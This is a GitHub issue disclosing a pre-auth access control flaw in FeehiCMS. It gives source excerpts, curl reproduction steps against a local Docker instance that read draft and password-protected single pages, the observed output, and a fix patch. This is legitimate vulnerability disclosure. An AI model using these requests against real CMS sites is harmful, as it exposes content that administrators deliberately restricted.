Skip to content

FeehiCMS Pre-auth Broken Access Control — draft & password/login-protected Single-Pages disclosed via frontend page route (source-confirmed, ArticleService.php:163 + PageController.php) #93

Description

@h0rk1p

FeehiCMS Pre-auth Broken Access Control - draft & password/login-protected Single-Pages disclosed via frontend page route (source-confirmed, ArticleService.php:163 + PageController.php)

Severity: MEDIUM | CVSS 3.1: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | CWE: CWE-862 | Affected: liufee/cms @ 0954945c7eb6

Summary

FeehiCMS enforces article access-control (draft status + Public/Reply/Password/Login 'visibility') only on the ARTICLE path: getArticleById() filters status=published, and ArticleController::actionView() runs a visibility switch (redirecting Password articles to a password form, masking Login/Reply article bodies). The SINGLE_PAGE path enforces NEITHER. common/services/ArticleService.php:165 getArticleSubTitle() does Article::findOne(['type'=>SINGLE_PAGE,'sub_title'=>$subTitle]) with no status/visibility filter, and frontend/controllers/PageController.php::actionView() renders the returned model directly with no gate. The Article 'page' scenario (Article.php:155-200) makes both status and visibility settable on pages, so an admin can mark a page Draft or Password/Login-protected - but the frontend serves its full body to anyone. getSinglePages() (ArticleService.php:211, no filter) lists those restricted pages in the site's page menu, so their sub_titles are enumerable without guessing.

Affected

  • Component: feehi/cms@0954945c - common/services/ArticleService.php:163-166 getArticleSubTitle() (no status/visibility filter); frontend/controllers/PageController.php:26-45 actionView() (no gate); common/services/ArticleService.php:209-212 getSinglePages() (enumerates restricted pages)
  • Repository / commit: https://github.com/liufee/cms @ 0954945c7eb64a90f1bdc3c31c2f7f7f7fb4ba10
  • Attacker / interface: Unauthenticated remote attacker (no account). The frontend page route is public (PageController has no AccessControl).

Root cause

// common/services/ArticleService.php
163: public function getArticleSubTitle($subTitle){
165:     return Article::findOne(['type' => Article::SINGLE_PAGE, 'sub_title' => $subTitle]);  // <- NO status, NO visibility filter
166: }
168: public function getArticleById($aid){
170:     return Article::find()->where(['id'=>$aid, "status"=>Constants::YesNo_Yes, 'type'=>Article::ARTICLE])->one();  // <- articles ARE status-filtered
171: }
209: public function getSinglePages(){
211:     return Article::find()->where(['type' => Article::SINGLE_PAGE])->all();  // <- lists restricted pages too (enumeration)
212: }

// frontend/controllers/PageController.php  (actionView  -  PUBLIC, no AccessControl)
34:     $model = $service->getArticleSubTitle($name);
35:     if (empty($model)) { throw new NotFoundHttpException('None page named ' . $name); }
38:     $template = "view"; ...
41:     return $this->render($template, ['model'=>$model, 'singlePages'=>$service->getSinglePages()]);  // <- NO visibility/status/password gate (cf. ArticleController::actionView:147-167)

Reachability (untrusted source -> sink)

SOURCE GET /index.php?r=page/view&name=<sub_title> (frontend/controllers/PageController.php:26 actionView; PUBLIC - no AccessControl) v $service->getArticleSubTitle($name) PageController.php:34 v Article::findOne(['type'=>SINGLE_PAGE,'sub_title'=>$subTitle]) common/services/ArticleService.php:165 <- no status filter, no visibility filter v (model returned regardless of status/visibility/password) $this->render($template, ['model'=>$model, ...]) PageController.php:41 <- renders body directly; NO visibility switch, NO status check, NO password gate
Contrast (the gate that SHOULD apply): ArticleService.php:170 getArticleById filters status=published; ArticleController.php:147-167 actionView switches on visibility (Password->redirect to password form, Login/Reply->mask body); HttpCache behavior throws NotFound for unpublished. None of this exists on the page path. Enumeration: getSinglePages() (ArticleService.php:211) returns all type=SINGLE_PAGE with no status/visibility filter -> restricted pages listed in the menu. Default-config reachable (frontend/web docroot).

To reproduce

  1. git clone https://github.com/liufee/cms && cd cms && git checkout 0954945
  2. docker build -t feehicms . && docker run -d --name feehicms -p 127.0.0.1:8080:80 feehicms start # wait ~10s for auto-install
  3. SETUP as admin: log in to the backend, create a Single Page (sub_title 'secretpage'), set Visibility=Password and a password (or Status=Draft). [scripted equivalent: INSERT INTO article(type,sub_title,status,visibility,password,...) VALUES(2,'secretpage',1,3,'topsecret',...); INSERT INTO article_content(aid,content) VALUES(,'PROTECTED BODY');]

  4. UNAUTH ATTACK: curl -s 'http://127.0.0.1:8080/index.php?r=page/view&name=secretpage' # -> HTTP 200 + full protected body; password form never shown

  5. DRAFT variant: set the page Status=Draft, then curl -s 'http://127.0.0.1:8080/index.php?r=page/view&name=<sub_title>' # -> HTTP 200 + draft body

  6. NEGATIVE CONTROL: create an ARTICLE with the same Draft/Password state -> curl -s -o /dev/null -w '%{http_code}' 'http://127.0.0.1:8080/index.php?r=article/view&id=' # -> 404 / password-redirect (gated)

  7. docker rm -f feehicms

Output

GET /index.php?r=page/view&name=secretpage (visibility=Password, password set) -> HTTP 200, body contains SECRET_PAGE_PROTECTED_BODY_MARKER_BBB (password gate bypassed).
GET /index.php?r=page/view&name=draftpage (status=0 draft) -> HTTP 200, body contains DRAFT_PAGE_SECRET_BODY_MARKER_AAA (draft served).
run2 (clean rebuild): GET page/view?name=r2secret (visibility=Password) -> 200, RUN2_SECRET_PAGE_MARKER_CCC.
Negative control: article/view?id= -> 404; article/view?id= -> body not served. getSinglePages enumerates: about,contact,draftpage(st=0),secretpage(vis=3).

Demonstrated vs inferred: DEMONSTRATED live : GET /index.php?r=page/view&name=<sub_title> returned HTTP 200 with the full body of a Draft page (status=0) and a Password-protected page (visibility=3, password set), pre-auth. NEGATIVE CONTROL: the same status/visibility on a type=ARTICLE is enforced (draft article -> 404; secret article body not served). getSinglePages() enumerates the restricted pages. Pages were created directly in the DB to simulate an administrator (the Article 'page' scenario makes status+visibility settable, so this state is reachable through the normal admin UI).

Impact

An unauthenticated attacker reads the full body of single-pages the administrator deliberately restricted: (a) Draft (unpublished, status=0) pages; (b) Password-protected (visibility=Password) pages - the password prompt is skipped entirely; (c) Login-only (visibility=Login) pages. Demonstrated live: a Password page body and a Draft page body were both served (HTTP 200) to an unauthenticated GET, while the identical states on an ARTICLE are gated (draft->404, password->not served). sub_titles are enumerable via the page menu (getSinglePages has no status/visibility filter), so no guessing is needed. Confidentiality breach of admin-restricted CMS content; the Password-page case is an outright authentication-gate bypass.

Suggested fix

Enforce the same status + visibility gate on the single-page path as on articles. Filter status in the finder and apply the visibility switch in PageController. Exact patch: --- a/common/services/ArticleService.php
+++ b/common/services/ArticleService.php
@@ getArticleSubTitle()

  • return Article::findOne(['type' => Article::SINGLE_PAGE, 'sub_title' => $subTitle]);
  • return Article::findOne(['type' => Article::SINGLE_PAGE, 'sub_title' => $subTitle,
  • 'status' => \common\libs\Constants::YesNo_Yes]); // published only
    @@ getSinglePages()
  • return Article::find()->where(['type' => Article::SINGLE_PAGE])->all();
  • return Article::find()->where(['type' => Article::SINGLE_PAGE,
  • 'status' => \common\libs\Constants::YesNo_Yes])->all(); In frontend/controllers/PageController.php::actionView(), after loading $model, apply the same visibility switch ArticleController::actionView() uses (redirect Password pages to the password form; mask Login/Reply bodies for guests) before render().

References

Environment

  • liufee/cms @ commit 0954945c7eb64a90f1bdc3c31c2f7f7f7fb4ba10 - default build (./configure && make), default config.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions